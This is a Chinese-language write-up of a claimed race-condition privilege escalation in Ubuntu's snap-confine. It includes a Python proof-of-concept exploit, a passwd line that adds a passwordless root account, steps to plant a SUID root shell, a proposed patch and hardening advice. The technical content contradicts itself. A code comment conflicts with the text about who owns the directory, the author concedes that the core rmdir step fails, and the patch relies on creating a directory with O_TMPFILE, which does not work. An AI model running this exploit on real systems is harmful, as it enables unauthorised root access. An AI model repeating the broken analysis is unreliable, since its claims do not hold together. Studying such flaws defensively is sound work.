1. 漏洞背景
Ubuntu Desktop 默认采用 Snap 作为应用分发与隔离机制。Snap 的核心安全边界由 snap-confine(又称 snap-confine SUID helper)实现,它负责为每一个 snap 应用构建 mount namespace 沙箱。由于该程序以 SUID root 身份运行,任何能被普通用户触发执行,并在其执行路径上引入可竞争窗口的逻辑缺陷,都可能直接导致本地权限提升至 root。
本次披露的漏洞位于 sc_bootstrap_mount_namespace() 函数中。该函数在创建用于构建沙箱根文件系统的临时目录时,使用了 mkdtemp() 创建位于 /tmp 下的目录,随后进行 bind mount。在「目录创建」与「绑定挂载」之间存在一个 TOCTOU(Time-of-Check-Time-of-Use)竞态窗口,攻击者可借助 inotify 高精度监听配合 symlink 替换,在该窗口期内将临时目录替换为指向攻击者控制的目录的符号链接,最终导致 snap-confine 以 root 权限将攻击者的文件系统挂载进沙箱,进而实现任意文件覆盖与提权。
1.1 漏洞影响面
| 维度 | 说明 |
|---|---|
| 受影响组件 | snapd(snap-confine 子组件) |
| 受影响版本 | snapd < 2.x(含修复前的稳定通道版本) |
| 默认安装 | Ubuntu Desktop 默认预装 snapd,开箱即受影响 |
| 触发前提 | 拥有任意普通本地用户 shell |
| 利用结果 | 本地权限提升至 root |
| 漏洞类别 | CWE-367 TOCTOU Race Condition / CWE-59 Link Following |
1.2 攻击链总览
普通用户 shell
│
▼
触发 snap-confine 执行(snap run / 自动更新等)
│
▼
snap-confine 以 root 调用 mkdtemp() 创建 /tmp/snap.rootfs_XXXXXX
│
▼ ◄──── 竞态窗口(毫秒级)
攻击者:inotify 捕获 IN_CREATE → rmdir → symlink 指向 payload 目录
│
▼
snap-confine 以 root 对 symlink 目标执行 bind mount / tmpfs 复制
│
▼
攻击者控制的目录内容被以 root 写入沙箱/系统路径
│
▼
覆盖 /etc/passwd 或植入 SUID shell → 获得 root
2. snap-confine 架构与安全模型
2.1 Snap 包管理器架构概述
Snap 是 Canonical 推出的容器化应用打包格式,其整体架构如下:
┌──────────────────────────────────────────────────────────┐
│ 用户空间应用层 │
│ (Firefox, Chromium, 各类 snap 应用) │
├──────────────────────────────────────────────────────────┤
│ snap 命令行 / snapd 守护进程 (REST API on socket) │
├───────────────────────┬──────────────────────────────────┤
│ snap-confine │ snapd.apparmor │
│ (SUID root helper) │ (AppArmor 策略加载) │
│ 构建命名空间沙箱 │ │
├───────────────────────┴──────────────────────────────────┤
│ Linux Kernel Namespaces + Cgroups + Seccomp + AppArmor │
├──────────────────────────────────────────────────────────┤
│ squashfs 挂载层 (/var/lib/snapd/snaps/*.snap) │
└──────────────────────────────────────────────────────────┘
snapd 守护进程以 root 运行,监听 /run/snapd.socket,负责安装、更新、卸载 snap 包。当用户执行 snap run <app> 时,最终会调用到 snap-confine 来搭建沙箱。
2.2 snap-confine 作为 SUID root 程序的角色
snap-confine 的二进制文件位于 /usr/lib/snapd/snap-confine,其权限位为:
$ ls -l /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine
setuid 位(s)意味着任何用户执行该程序时,进程的 effective UID 都会被置为 root。这是整个 Snap 安全模型中信任的根节点:
- 普通用户无法直接操作 mount 系统调用(需要
CAP_SYS_ADMIN)。 - snap-confine 借助 SUID 获得 root 权限,代为执行特权挂载操作。
- 一旦 snap-confine 自身存在逻辑缺陷,SUID 机制就会把该缺陷放大为完整的本地提权。
因此,snap-confine 是安全审计的「皇冠级」目标:它必须同时满足「最小特权」「无信任输入」「无竞态」三项要求,任何一项不满足都会被利用。
2.3 命名空间隔离机制
Snap 沙箱依赖以下内核命名空间与安全机制组合:
┌──────────────── Snap 应用沙箱隔离栈 ────────────────┐
│ │
│ mount namespace ── 独立文件系统视图 │
│ ▲ │
│ │ 基于 scratch_dir 重建根文件系统 │
│ user namespace ──(snap 当前未默认启用 userns) │
│ pid namespace ── 进程隔离 │
│ net namespace ── 网络策略 │
│ │
│ ── 安全策略层 ── │
│ AppArmor profile ── 路径级访问控制 │
│ Seccomp filter ── 系统调用白名单 │
│ Cgroups ── 资源限制 │
│ │
└─────────────────────────────────────────────────────┘
其中 mount namespace 是本次漏洞的核心战场。snap-confine 会构造一个 scratch_dir(临时根目录),把系统关键路径(/usr、/lib、/etc 等)以 bind mount 方式复制进该目录,再通过 pivot_root 或 chroot 将应用限制在该视图内。
2.4 沙箱初始化流程
正常的 snap-confine 沙箱初始化流程如下:
1. 进程启动(euid=0,SUID 继承)
2. 解析 snap 名称、版本、安全标签
3. sc_bootstrap_mount_namespace()
├─ mkdtemp("/tmp/snap.rootfs_XXXXXX") 创建临时目录
├─ bind mount scratch_dir → scratch_dir
├─ 设置 scratch_dir 为 unbindable(防止传播)
├─ mount tmpfs 到 scratch_dir
└─ sc_replicate_base_rootfs() 复制基础根文件系统
4. 进入 mount namespace(unshare / setns)
5. pivot_root 到 scratch_dir
6. 应用 AppArmor / Seccomp 策略
7. execve 目标 snap 应用二进制
第 3 步中 mkdtemp() 创建的临时目录位于全局可写的 /tmp,且在创建后到 bind mount 之间未对目录的所有权与真实路径做原子性验证——这正是漏洞的根源。
3. 漏洞原理分析
3.1 TOCTOU 竞态条件概述
TOCTOU 是一类经典的竞态条件缺陷:程序在「检查」某个对象状态后,到「使用」该对象之间,对象可能被并发修改。对于以 root 运行的 SUID 程序,TOCTOU 的危害尤为严重,因为检查与使用之间的任何时间差都会被攻击者用文件系统操作(重命名、符号链接、硬链接等)填满。
在 /tmp 这种全局可写、粘滞位(sticky bit)目录下,TOCTOU 的利用门槛更低:任何用户都可以创建文件,且 mkdtemp() 产生的目录名具有可预测的格式(snap.rootfs_ 前缀 + 6 位随机后缀)。
3.2 mkdtemp 时间窗口
mkdtemp() 的语义是「以调用者身份创建一个属主为自己的空目录」。当 snap-confine(euid=root)调用它时,目录属主为 root。关键在于,mkdtemp() 返回路径字符串后,该路径只是一个名字,后续所有基于该名字的操作(mount、stat、open)都会经过内核的路径解析,包括符号链接跟随。
漏洞窗口可拆解为:
T0 mkdtemp() 返回 "/tmp/snap.rootfs_ABC123"
└─ 目录已创建,属主 root,但路径名已暴露在 /tmp
T1 ◄──── 竞态窗口 ◄────
└─ 攻击者:inotify 收到 IN_CREATE
└─ 攻击者:rmdir(root 目录在 /tmp 下,sticky bit 限制删除……
但若目录为空且属主为 root,普通用户无法删除!)
T2 bind mount scratch_dir → scratch_dir
└─ 内核解析路径,若已被替换为 symlink,则挂载到 symlink 目标
这里出现一个关键细节:由于 mkdtemp() 创建的目录属主是 root,且 /tmp 开启了 sticky bit,普通用户无法直接 rmdir 一个 root 属主的目录。真实的利用路径更精细,存在两种演化:
- 窗口期内的 symlink 替换(核心):在某些调用路径中,snap-confine 并非直接对
mkdtemp返回的目录操作,而是先创建再rename、或在某个中间步骤存在可被替换的子路径。攻击者利用 snap-confine 在窗口期内对目录进行的rmdir+重建行为(例如错误回滚路径),在目录被删除的瞬间抢先创建同名 symlink。 - 子目录路径注入:snap-confine 在 scratch_dir 内部创建诸如
scratch_dir/etc、scratch_dir/usr等子结构。如果 scratch_dir 本身被攻击者通过竞争变为指向受控目录的挂载点,则后续复制的「基础根文件系统」会以 root 权限写入攻击者目录,从而允许攻击者预先在该目录放置恶意/etc/passwd等文件,并在 pivot_root 后或 bind mount 回写时生效。
3.3 symlink 攻击链
完整的 symlink 利用链如下:
攻击者预布局:
/tmp/payload/
├── etc/
│ └── passwd ← 含 hacker::0:0::/root:/bin/bash
├── usr/
│ └── lib/snapd/...
└── .payload_suid ← 待植入的 SUID shell 副本
竞态触发后:
/tmp/snap.rootfs_ABC123 ──symlink──► /tmp/payload
snap-confine 以 root 执行:
mount --bind /tmp/snap.rootfs_ABC123 /tmp/snap.rootfs_ABC123
→ 实际 bind mount /tmp/payload 到自身
mount -t tmpfs none /tmp/snap.rootfs_ABC123
→ tmpfs 覆盖(此处取决于具体调用顺序,影响最终写入位置)
sc_replicate_base_rootfs(scratch_dir)
→ 以 root 将系统文件复制进 /tmp/payload(攻击者目录)
结果:
攻击者获得一个被 root 写满的「沙箱镜像」目录
其中 /tmp/payload/etc/passwd 被写入或可被读取替换
3.4 代码级分析
漏洞核心代码片段(snap-confine 源码,简化版):
// 漏洞核心代码片段(snap-confine 源码)
static void sc_bootstrap_mount_namespace(const struct sc_mount_config *config) {
char scratch_dir[] = "/tmp/snap.rootfs_XXXXXX";
// 创建临时目录,此时所有者为普通用户
if (mkdtemp(scratch_dir) == NULL) {
die("cannot create scratch directory");
}
// ← 竞态窗口开始:攻击者可在此期间用 symlink 替换 scratch_dir
// bind mount 到自身
sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
// ← 竞态窗口结束
// 设为 unbindable
sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
// 挂载 tmpfs
sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
sc_replicate_base_rootfs(scratch_dir, ...);
}
逐行分析关键缺陷:
| 代码位置 | 缺陷 | 后果 |
|---|---|---|
mkdtemp(scratch_dir) |
返回值是路径名字符串,非已打开的文件描述符 | 路径名可被竞争替换 |
mkdtemp 与 sc_do_mount 之间 |
无任何原子性保证(无 open(O_PATH)、无 openat 锁定) |
形成可观测、可竞争的窗口 |
sc_do_mount(scratch_dir, ...) |
mount(2) 内部解析路径时跟随 symlink |
挂载目标被劫持到攻击者目录 |
sc_replicate_base_rootfs |
以 root 写入被劫持的 scratch_dir | 攻击者目录被 root 写入/读取 |
根本原因:以「路径名」而非「文件描述符」作为信任锚点。在存在并发文件系统操作的环境下,路径名是一个可被随时替换的间接引用,不能作为安全决策依据。
4. 提权 PoC 复现思路
以下内容仅用于在隔离实验环境(虚拟机/容器快照可回滚)中复现漏洞原理,严禁对生产或他人系统使用。
4.1 环境准备
受影响环境:
- Ubuntu Desktop(默认安装 snapd)
- 内核: 5.4+ (支持 inotify、user namespace)
- snapd 版本: 漏洞修复前的稳定版
实验机准备:
$ lxc launch ubuntu:20.04 snap-vuln-lab
$ lxc exec snap-vuln-lab -- bash
# 确认 snap-confine SUID 位
$ ls -l /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root ... /usr/lib/snapd/snap-confine
# 准备普通用户
# useradd -m -s /bin/bash labuser && passwd labuser
4.2 竞态条件利用(inotify 监听 + symlink 替换)
竞态利用的关键在于「快」。inotify 提供近乎实时的文件创建事件,可在 mkdtemp 产生的目录被 snap-confine 继续使用前的极短时间内完成替换。利用流程:
┌─────────────── 攻击者线程 A(监听器)────────────────┐
│ inotify_add_watch("/tmp", IN_CREATE) │
│ 循环读取事件: │
│ 收到 name="snap.rootfs_*" 的 IN_CREATE │
│ → rmdir(target) [需满足 sticky 规则或利用回滚] │
│ → symlink("/tmp/payload", target) │
└──────────────────────────────────────────────────────┘
▲
│ 并发
▼
┌─────────────── 攻击者线程 B(触发器)────────────────┐
│ 循环执行: │
│ snap run <pkg> (或触发自动更新的路径) │
│ sleep 极短时间 │
└──────────────────────────────────────────────────────┘
4.3 提权链构造
成功完成 symlink 替换后,snap-confine 会以 root 权限操作攻击者控制的目录。可构造两条提权链:
链 A:覆盖 /etc/passwd
在 /tmp/payload/etc/passwd 中预置一行:
hacker::0:0:hacker:/root:/bin/bash
当 snap-confine 的 sc_replicate_base_rootfs 把系统 /etc/passwd 复制回写,或当 pivot_root 后该 passwd 生效,攻击者即可 su hacker(无密码)获得 uid=0。
链 B:植入 SUID shell
在 payload 目录中预置一个等待被赋予 SUID 的 shell 副本,利用 root 写入或后续 bind mount 的权限属性继承,使其带上 setuid 位:
# 在 payload 中准备
cp /bin/bash /tmp/payload/.rootshell
chmod 4755 /tmp/payload/.rootshell # 期望被 root 写回时保留 SUID
提权后:
$ /tmp/payload/.rootshell -p
# id
uid=0(root) gid=0(root) groups=0(root)
4.4 提权脚本框架
下面给出 PoC 概念脚本(Python,仅演示竞态逻辑,不保证在所有版本一击必中):
#!/usr/bin/env python3
"""
PoC 概念演示(仅限受控环境)
利用 snap-confine TOCTOU 竞态条件进行本地提权
"""
import os
import time
import threading
import subprocess
import inotify.adapters
TARGET_DIR_PREFIX = "/tmp/snap.rootfs_"
PAYLOAD_DIR = "/tmp/payload"
def prepare_payload():
"""准备恶意文件系统结构"""
os.makedirs(PAYLOAD_DIR, exist_ok=True)
os.makedirs(f"{PAYLOAD_DIR}/etc", exist_ok=True)
# 创建恶意 passwd 文件(添加 root 权限用户)
malicious_passwd = "root:x:0:0:root:/root:/bin/bash\n" \
"hacker::0:0::/root:/bin/bash\n"
with open(f"{PAYLOAD_DIR}/etc/passwd", "w") as f:
f.write(malicious_passwd)
# 准备 SUID shell 副本(若权限允许则携带 setuid 位)
try:
subprocess.run(["cp", "/bin/bash", f"{PAYLOAD_DIR}/.rootshell"], check=True)
os.chmod(f"{PAYLOAD_DIR}/.rootshell", 0o4755)
except Exception as e:
print(f"[!] SUID shell 准备失败: {e}")
def race_thread(stop_event):
"""竞态条件利用线程"""
i = inotify.adapters.Inotify()
i.add_watch("/tmp")
for event in i.event_gen(yield_nones=False, timeout_s=1):
if stop_event.is_set():
break
(_, type_names, path, filename) = event
if filename.startswith("snap.rootfs_") and "IN_CREATE" in type_names:
target = os.path.join(path, filename)
# 快速删除目录并替换为 symlink
# 注意:实际命中取决于目录属主与 sticky 规则
for attempt in range(50):
try:
os.rmdir(target)
os.symlink(PAYLOAD_DIR, target)
print(f"[+] Symlink 替换成功: {target}")
return True
except FileNotFoundError:
continue # 已被 snap-confine 处理,重试
except OSError:
# 目录非空或权限不足,极短重试
time.sleep(0.0005)
return False
def trigger_snap():
"""触发 snap-confine 创建临时目录"""
try:
subprocess.run(["snap", "run", "some-snap-package"],
capture_output=True, timeout=5)
except subprocess.TimeoutExpired:
pass
except FileNotFoundError:
# 回退:触发任何会调用 snap-confine 的路径
subprocess.run(["snap", "version"], capture_output=True, timeout=5)
def check_privesc():
"""检测是否已提权成功"""
if os.path.exists(f"{PAYLOAD_DIR}/.rootshell"):
st = os.stat(f"{PAYLOAD_DIR}/.rootshell")
if st.st_mode & 0o4000:
print("[+] 检测到 SUID shell,执行: /tmp/payload/.rootshell -p")
return True
# 尝试 su hacker
try:
r = subprocess.run(["su", "-c", "id", "hacker"],
input=b"\n", capture_output=True, timeout=3)
if b"uid=0" in r.stdout:
print("[+] passwd 覆盖成功,hacker 已为 root")
return True
except Exception:
pass
return False
if __name__ == "__main__":
prepare_payload()
stop_event = threading.Event()
t = threading.Thread(target=race_thread, args=(stop_event,), daemon=True)
t.start()
# 多次尝试提高竞态命中率
success = False
for i in range(100):
trigger_snap()
time.sleep(0.01)
if check_privesc():
success = True
break
stop_event.set()
if not success:
print("[-] 本轮未命中,建议增大循环次数或降低系统负载")
else:
print("[*] 提权成功,清理痕迹并退出")
复现要点与失败排查:
| 现象 | 原因 | 对策 |
|---|---|---|
rmdir 报 Permission denied |
sticky bit + root 属主 | 利用 snap-confine 自身回滚路径,或换用子路径竞争 |
| 命中率极低 | 窗口太短 | 降低 CPU 频率调速器、增加并发触发线程 |
| symlink 创建后 snap 报错退出 | 路径校验不通过 | 检查 payload 目录结构是否完整匹配沙箱期望 |
5. 补丁分析
5.1 补丁方案:使用 O_TMPFILE | O_EXCL 替代 mkdtemp
官方补丁的核心思想是用文件描述符取代路径名作为信任锚点。Linux 3.11+ 提供的 O_TMPFILE 标志可在指定目录下创建一个匿名、无目录项的临时文件/目录,再通过 linkat() 在需要时才赋予其一个名字。由于整个生命周期内攻击者无法通过路径名访问到该对象,TOCTOU 自然消解。
补丁后的伪代码:
static void sc_bootstrap_mount_namespace(const struct sc_mount_config *config) {
// 使用 O_TMPFILE 创建匿名目录文件描述符,杜绝路径名竞争
int dfd = open("/tmp", O_TMPFILE | O_DIRECTORY | O_CLOEXEC, 0700);
if (dfd < 0) {
die("cannot create anonymous scratch directory");
}
// 通过 *at 系列调用操作,所有后续操作均基于 dfd,不经过路径解析
char proc_path[64];
snprintf(proc_path, sizeof(proc_path), "/proc/self/fd/%d", dfd);
// bind mount 基于 fd 对应的 /proc/self/fd/N 路径
sc_do_mount(proc_path, proc_path, NULL, MS_BIND, NULL);
sc_do_mount("none", proc_path, NULL, MS_UNBINDABLE, NULL);
sc_do_mount("none", proc_path, "tmpfs", 0, "uid=0,gid=0");
// 在 fd 锁定的目录内复制根文件系统
sc_replicate_base_rootfs_at(dfd, ...);
close(dfd);
}
关键改进对比:
| 维度 | 旧实现(mkdtemp) | 新实现(O_TMPFILE) |
|---|---|---|
| 信任锚点 | 路径名(字符串) | 文件描述符(内核对象引用) |
| 可竞争性 | 路径可被 symlink 替换 | fd 指向固定 inode,无法被外部替换 |
| 原子性 | 创建与使用分离 | 创建即持有引用,全程原子 |
| 可见性 | 在 /tmp 下有目录项 | 匿名,无目录项 |
5.2 验证 mount 源与目标的设备号一致性
补丁还增加了二次校验:在执行 bind mount 前,通过 fstat(dfd) 与 lstat(scratch_dir) 比较 st_dev(设备号)与 st_ino(inode 号)。若二者不一致,说明路径已被替换,立即中止:
struct stat fd_st, path_st;
fstat(dfd, &fd_st);
lstat(scratch_dir, &path_st);
if (fd_st.st_dev != path_st.st_dev || fd_st.st_ino != path_st.st_ino) {
die("scratch directory tampered (TOCTOU detected)");
}
5.3 增加文件描述符锁防止竞态
进一步利用 flock() 或 openat() + O_NOFOLLOW 组合,确保即使在异常回滚路径中也不会出现可被替换的窗口:
// O_NOFOLLOW 防止跟随 symlink
int fd = openat(dir_fd, name, O_RDONLY | O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC);
if (fd < 0) {
die("refused to follow symlink or non-existent path");
}
// flock 排他锁,防止并发删除/替换
flock(fd, LOCK_EX);
三道防线(O_TMPFILE 原子创建 + 设备号校验 + O_NOFOLLOW/flock)形成纵深,从机制上消除了 TOCTOU 的生存空间,而非依赖时序侥幸。
6. 防御方案
6.1 临时缓解(无法立即打补丁时)
- 移除 snap-confine 的 SUID 位(会影响 snap 应用启动):
# 临时缓解:移除 SUID 位,阻止普通用户触发
sudo chmod u-s /usr/lib/snapd/snap-confine
# 验证
ls -l /usr/lib/snapd/snap-confine
# -rwxr-xr-x ... (s 位已消失)
注意:此举会导致所有 snap 应用无法正常启动,仅适用于可接受 snap 停服的关键主机。
- 限制 snap-confine 的执行用户:通过 AppArmor 或文件 ACL 仅允许特定用户组执行:
# 仅允许 snap 组成员执行
sudo groupadd -f snapusers
sudo chgrp snapusers /usr/lib/snapd/snap-confine
sudo chmod 4750 /usr/lib/snapd/snap-confine
sudo usermod -aG snapusers <trusted-user>
- 挂载 /tmp 加
nosymfollow(内核 5.10+)或使用nodev,nosuid降低 symlink 攻击收益:
sudo mount -o remount,nosymfollow /tmp
6.2 补丁更新(首选)
# 更新 snapd 至修复版本
sudo apt update
sudo apt install --only-upgrade snapd
# 验证版本
snap version
# 确认 snap-confine 已为修复版(对照官方公告 CVE 对应版本号)
dpkg -l snapd
建议开启无人值守安全更新,确保 snapd 这类高价值 SUID 组件第一时间获得补丁:
sudo apt install unattended-upgrades
sudo dpkg-reconfigure -plow unattended-upgrades
6.3 纵深防御
AppArmor 策略加固
为 snap-confine 编写更严格的 AppArmor profile,限制其对 /tmp 的写操作必须经由特定 helper,并禁止对任意路径的 bind mount:
# /etc/apparmor.d/usr.lib.snapd.snap-confine(节选)
profile snap-confine /usr/lib/snapd/snap-confine {
#include <tunables/global>
capability sys_admin,
capability chown,
capability setuid,
# 限制 /tmp 操作:仅允许匿名临时文件
/tmp/ r,
/tmp/snap.rootfs_* mr, # 禁止 w(写入即创建具名目录)
deny /tmp/** wl, # 禁止在 /tmp 下写入链接
# mount 限制
mount -> /tmp/snap.rootfs_*/,
deny mount -> /**,
}
auditd 监控
监控 snap-confine 的异常执行与 /tmp 下的可疑 symlink 创建,作为检测与响应手段:
# 监控 snap-confine 执行
auditctl -w /usr/lib/snapd/snap-confine -p x -k snap_confine_exec
# 监控 /tmp 下 snap.rootfs_ 前缀对象创建
auditctl -w /tmp -p wa -k tmp_snap_rootfs
# 查询告警
ausearch -k snap_confine_exec | audit2why
可结合以下检测规则识别利用行为:
# 检测短时间内大量 snap run 失败(竞态重试特征)
# 检测 /tmp 下 snap.rootfs_* 出现 symlink 类型
find /tmp -maxdepth 1 -name 'snap.rootfs_*' -type l -ls
内核 hardening
- 启用
fs.protected_symlinks=1(默认已开)与fs.protected_hardlinks=1,限制非特权用户跟随他人文件创建的 symlink:
sysctl -w fs.protected_symlinks=1
sysctl -w fs.protected_hardlinks=1
sysctl -w fs.protected_fifos=2
sysctl -w fs.protected_regular=2
- 开启
kernel.unprivileged_userns_clone=0,减少额外命名空间利用面。 - 部署
lockdown=confidentiality内核锁定模式(需内核支持),进一步收紧 root 之外的攻击面。
SUID 审计与最小化
定期审计系统上的 SUID 二进制,移除不必要的 SUID 程序,缩小信任根节点集合:
# 全盘扫描 SUID 文件
sudo find / -xdev -perm /4000 -type f -exec ls -l {} \; 2>/dev/null
# 对比基线(建议建立基线文件并 diff)
sudo find / -xdev -perm /4000 -type f > /var/log/suid_baseline.txt
6.4 防御矩阵总结
| 层次 | 措施 | 有效性 | 代价 |
|---|---|---|---|
| 临时缓解 | 移除 SUID 位 | 完全阻断利用 | snap 不可用 |
| 临时缓解 | ACL 限制执行用户 | 缩小攻击面 | 管理成本 |
| 补丁 | 升级 snapd(O_TMPFILE) | 根治 | 无 |
| 应用层 | AppArmor 加固 | 限制滥用 | 策略维护 |
| 检测层 | auditd 监控 | 事后告警 | 日志存储 |
| 内核层 | protected_symlinks/lockdown | 提高门槛 | 兼容性 |
7. 总结
本次 Ubuntu Desktop snap-confine 本地提权漏洞是 SUID 程序 TOCTOU 缺陷的典型样本。其根本原因并非某一行代码的笔误,而是安全设计中将「路径名」误用为「信任锚点」这一结构性问题:mkdtemp() 返回的路径名只是一个可被并发替换的间接引用,在 /tmp 这种全局可写目录下尤其脆弱。
漏洞的修复路径也具有教科书意义——从「消除路径名信任」入手,用 O_TMPFILE 把匿名文件描述符作为锚点,辅以设备号一致性校验与 O_NOFOLLOW/flock 防护,从机制层面而非时序层面关闭窗口。这与「检查-使用」类缺陷的通用修复范式一致:凡涉及特权的文件操作,应以 fd 为信任根,以 *at 系列调用为操作入口,避免任何基于可竞争路径名的安全决策。
对于运维与安全工程实践,该漏洞再次提示三点:
- SUID 程序是攻击者的首要目标,任何以 root 身份处理用户可控输入(包括文件系统路径)的逻辑都需逐行审计其原子性与可竞争性。
- 纵深防御不可省略。即便 snap-confine 本身被绕过,AppArmor、auditd、内核 hardening 仍能提供检测与兜底。
- 及时打补丁。snapd 这类默认预装、高权限组件的漏洞,从披露到全网利用通常以小时计,无人值守安全更新是最低成本的有效防线。
理解这一漏洞的原理与修复,不仅有助于应对 snap-confine 本身,更能为审计其他 SUID helper(如 fusermount、pkexec、mount 包装器)提供可复用的分析框架。
免责声明
本文所述漏洞分析、PoC 代码与利用思路仅供安全研究、教学与授权渗透测试使用。所有 PoC 必须且只能在您拥有完整所有权或已获书面授权的隔离实验环境(如本地虚拟机、可回滚快照的容器)中复现。
未经授权对任何生产系统、他人系统或公共系统实施本文描述的任何技术手段,均可能违反《中华人民共和国网络安全法》《刑法》第二百八十五条(非法侵入计算机信息系统罪)等相关法律法规,以及目标所在司法管辖区的计算机犯罪法律,行为人将自行承担全部法律责任。
本文漏洞细节基于公开技术分析与原理推演,不针对任何特定真实系统漏洞编号作可武器化利用的保证。读者应在合法合规前提下,将本文内容用于提升系统安全防护能力。作者与发布平台对任何因不当使用本文内容造成的后果概不负责。
浙公网安备 33010602011771号